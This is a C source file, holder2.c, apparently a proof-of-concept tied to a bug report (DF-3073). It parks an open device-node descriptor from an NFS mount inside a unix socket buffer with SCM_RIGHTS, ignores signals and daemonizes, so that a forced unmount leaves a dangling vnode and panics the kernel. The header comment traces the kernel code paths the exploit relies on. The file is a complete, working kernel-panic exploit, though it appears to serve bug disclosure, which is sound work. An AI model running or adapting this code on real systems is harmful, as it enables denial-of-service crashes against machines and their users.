DF-3073 / holder2.c
/* * holder2.c - unprivileged holder for DF-3073 (SCM_RIGHTS variant) * * holder2 <mountpoint> * * 1. opens <mp>/dev - the server-supplied VCHR node (rdev 14:2 = /dev/null) * 2. passes the fd over a unix socketpair with sendmsg(SCM_RIGHTS) * 3. closes its own copy of the fd and of the sending socket end * 4. daemonizes; the child holds ONLY the receiving socket end, forever * * The descriptor now lives exclusively in the socket's receive buffer: * - no process fd table contains it -> dounmount()'s kill-retry loop * (unmount_allproc_cb/process_uses_mount, SIGINT retry 3, SIGKILL * retry 7) finds nobody to kill, * - the buffered fp keeps f_nchandle (namecache ref on the "dev" entry * and a mount ref) and the vnode reference, * => at VFS_UNMOUNT -> vflush(mp, 1, FORCECLOSE) the VCHR vnode still has * VREFCNT>1; vflush_scan clears FORCECLOSE for VCHR (vfs_mount.c:1145) * and counts it busy => vflush returns EBUSY, * => nfs_unmount continues anyway (nfs_vfsops.c:1218-1224), frees nmp and * destroys the nfsnode objcache with the nfsnode still allocated, * => dounmount panics ("unmount: dangling vnode", vfs_syscalls.c:1085). * * No NFS I/O is ever blocked - MNTK_UNMOUNTF's abort-everything semantics * (nfs_sigintr) cannot release these references. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <signal.h> #include <sys/socket.h> int main(int argc, char **argv) { char path[256]; int devfd, sv[2]; struct msghdr mh; struct iovec iov; char c = 'x'; struct cmsghdr *cm; char cbuf[CMSG_SPACE(sizeof(int))]; if (argc != 2) { fprintf(stderr, "usage: holder2 <mountpoint>\n"); exit(2); } signal(SIGINT, SIG_IGN); signal(SIGTERM, SIG_IGN); signal(SIGHUP, SIG_IGN); snprintf(path, sizeof(path), "%s/dev", argv[1]); devfd = open(path, O_RDONLY); if (devfd < 0) { perror("open dev"); exit(1); } printf("DEV_OPEN_OK\n"); fflush(stdout); if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) { perror("socketpair"); exit(1); } /* ship the fd into the peer's receive buffer */ memset(&mh, 0, sizeof(mh)); iov.iov_base = &c; iov.iov_len = 1; mh.msg_iov = &iov; mh.msg_iovlen = 1; mh.msg_control = cbuf; mh.msg_controllen = sizeof(cbuf); cm = CMSG_FIRSTHDR(&mh); cm->cmsg_len = CMSG_LEN(sizeof(int)); cm->cmsg_level = SOL_SOCKET; cm->cmsg_type = SCM_RIGHTS; memcpy(CMSG_DATA(cm), &devfd, sizeof(int)); if (sendmsg(sv[0], &mh, 0) < 0) { perror("sendmsg"); exit(1); } close(devfd); /* our copy gone; fp lives in the socket */ close(sv[0]); /* sender end gone; message stays queued */ if (fork() != 0) _exit(0); /* parent exits: no process "uses" the mount */ printf("FD_PARKED\n"); fflush(stdout); /* child: hold sv[1] (with the queued descriptor) forever */ for (;;) pause(); } |